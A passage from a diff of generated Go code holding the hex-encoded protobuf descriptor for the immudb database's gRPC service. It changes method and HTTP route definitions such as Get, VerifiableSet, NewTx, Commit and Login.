0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, - 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, - 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x5a, 0x0a, 0x06, - 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, - 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, - 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, - 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, - 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, - 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, - 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, - 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x4f, 0x0a, 0x04, 0x53, - 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, - 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x05, - 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, - 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, - 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, - 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, - 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, - 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, - 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, - 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x3a, 0x01, 0x2a, 0x12, 0x58, - 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, - 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, - 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, - 0x73, 0x74, 0x6f, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, - 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, - 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, - 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, - 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x55, 0x0a, 0x06, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, + 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, + 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, - 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x68, 0x0a, 0x0e, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, - 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, - 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x5d, 0x0a, 0x0c, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, - 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, - 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0x16, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, - 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x65, 0x0a, 0x0c, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, - 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, - 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, - 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x88, 0x01, 0x0a, - 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, - 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, - 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x22, 0x1b, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, - 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x50, 0x0a, 0x04, 0x5a, 0x41, 0x64, 0x64, 0x12, - 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, - 0x61, 0x64, 0x65, 0x72, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, - 0x62, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x73, 0x0a, 0x0e, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, + 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, + 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, + 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4d, 0x0a, 0x0a, + 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, + 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, + 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, 0x5d, 0x0a, 0x05, 0x4c, + 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, + 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, + 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, + 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x53, + 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, + 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, + 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0d, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x53, - 0x0a, 0x05, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x14, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x22, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x73, 0x63, 0x61, 0x6e, - 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 